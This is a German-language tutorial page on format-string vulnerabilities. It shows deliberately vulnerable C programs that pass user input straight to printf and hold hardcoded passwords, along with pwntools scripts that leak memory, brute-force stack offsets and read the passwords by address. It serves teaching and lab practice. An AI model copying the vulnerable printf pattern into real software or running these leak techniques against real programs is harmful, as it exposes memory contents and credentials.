Format Strings - Arbitrary Read Example

Reading time: 5 minutes

Read Binary Start

Code

#include <stdio.h>

int main(void) {
char buffer[30];

fgets(buffer, sizeof(buffer), stdin);

printf(buffer);
return 0;
}

Kompiliere es mit:

clang -o fs-read fs-read.c -Wno-format-security -no-pie

Exploit

from pwn import *

p = process('./fs-read')

payload = f"%11$s|||||".encode()
payload += p64(0x00400000)

p.sendline(payload)
log.info(p.clean())

• Der Offset beträgt 11, da das Setzen mehrerer As und das Brute-Forcing mit einer Schleife von 0 bis 50 ergeben hat, dass bei Offset 11 und mit 5 zusätzlichen Zeichen (Pipes | in unserem Fall) eine vollständige Adresse kontrolliert werden kann.
• Ich habe %11$p mit Padding verwendet, bis die Adresse vollständig 0x4141414141414141 war.
• Die Format-String-Nutzlast ist VOR der Adresse, da printf beim Lesen an einem Null-Byte stoppt, sodass, wenn wir die Adresse und dann den Format-String senden, printf den Format-String niemals erreichen wird, da ein Null-Byte vorher gefunden wird.
• Die ausgewählte Adresse ist 0x00400000, da dies der Startpunkt des Binaries ist (kein PIE).

Passwörter lesen

#include <stdio.h>
#include <string.h>

char bss_password[20] = "hardcodedPassBSS"; // Password in BSS

int main() {
char stack_password[20] = "secretStackPass"; // Password in stack
char input1[20], input2[20];

printf("Enter first password: ");
scanf("%19s", input1);

printf("Enter second password: ");
scanf("%19s", input2);

// Vulnerable printf
printf(input1);
printf("\n");

// Check both passwords
if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) {
printf("Access Granted.\n");
} else {
printf("Access Denied.\n");
}

return 0;
}

Kompiliere es mit:

clang -o fs-read fs-read.c -Wno-format-security

Vom Stack lesen

Das stack_password wird im Stack gespeichert, da es sich um eine lokale Variable handelt. Daher reicht es aus, printf zu missbrauchen, um den Inhalt des Stacks anzuzeigen. Dies ist ein Exploit, um die ersten 100 Positionen zu BF, um die Passwörter aus dem Stack zu leaken:

from pwn import *

for i in range(100):
print(f"Try: {i}")
payload = f"%{i}$s\na".encode()
p = process("./fs-read")
p.sendline(payload)
output = p.clean()
print(output)
p.close()

In dem Bild ist zu sehen, dass wir das Passwort aus dem Stack an der 10. Position auslesen können:

Daten lesen

Wenn wir dasselbe Exploit mit %p anstelle von %s ausführen, ist es möglich, eine Heap-Adresse aus dem Stack bei %25$p auszulesen. Darüber hinaus können wir durch den Vergleich der ausgelesenen Adresse (0xaaaab7030894) mit der Position des Passworts im Speicher dieses Prozesses die Adressdifferenz ermitteln:

Jetzt ist es an der Zeit herauszufinden, wie man 1 Adresse im Stack kontrolliert, um darauf von der zweiten Format-String-Schwachstelle zuzugreifen:

from pwn import *

def leak_heap(p):
p.sendlineafter(b"first password:", b"%5$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)

for i in range(30):
p = process("./fs-read")

heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")

password_addr = heap_leak_addr - 0x126a

print(f"Try: {i}")
payload = f"%{i}$p|||".encode()
payload += b"AAAAAAAA"

p.sendline(payload)
output = p.clean()
print(output.decode("utf-8"))
p.close()

Und es ist möglich zu sehen, dass wir in dem try 14 mit dem verwendeten Passing eine Adresse kontrollieren können:

Exploit

from pwn import *

p = process("./fs-read")

def leak_heap(p):
# At offset 25 there is a heap leak
p.sendlineafter(b"first password:", b"%25$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)

heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")

# Offset calculated from the leaked position to the possition of the pass in memory
password_addr = heap_leak_addr + 0x1f7bc

print(f"Calculated address is: {hex(password_addr)}")

# At offset 14 we can control the addres, so use %s to read the string from that address
payload = f"%14$s|||".encode()
payload += p64(password_addr)

p.sendline(payload)
output = p.clean()
print(output)
p.close()